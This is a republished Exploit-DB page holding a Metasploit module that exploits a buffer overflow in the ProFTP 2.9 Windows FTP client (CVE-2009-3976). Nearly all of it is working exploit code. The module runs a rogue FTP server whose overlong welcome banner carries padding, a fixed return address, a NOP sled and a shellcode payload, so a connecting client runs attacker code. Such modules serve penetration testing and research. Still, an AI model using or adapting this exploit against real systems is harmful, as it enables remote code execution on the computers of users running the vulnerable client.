ProFTP 2.9 – Banner Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-07-03

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16709/

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##

# $Id: proftp_banner.rb 9669 2010-07-03 03:13:45Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',

'Description'=> %q{

This module exploits a buffer overflow in the ProFTP 2.9

client that is triggered through an excessively long welcome message.

},

'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9669 $',

'References' =>

[

[ 'CVE', '2009-3976' ],

[ 'OSVDB', '57394' ],

[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

},

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

# Tested against - XP SP3 English OK.

[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)

],

'Privileged' => false,

'DefaultTarget'=> 0,

'DisclosureDate' => 'Aug 25 2009'))

register_options(

[

OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),

], self.class)

end

def on_client_connect(client)

return if ((p = regenerate_payload(client)) == nil)

buffer ="220 "

buffer << rand_text_numeric(2064)

buffer << [target.ret].pack('V')

buffer << make_nops(20)

buffer << payload.encoded

buffer << "\r\n"

client.put(buffer)

end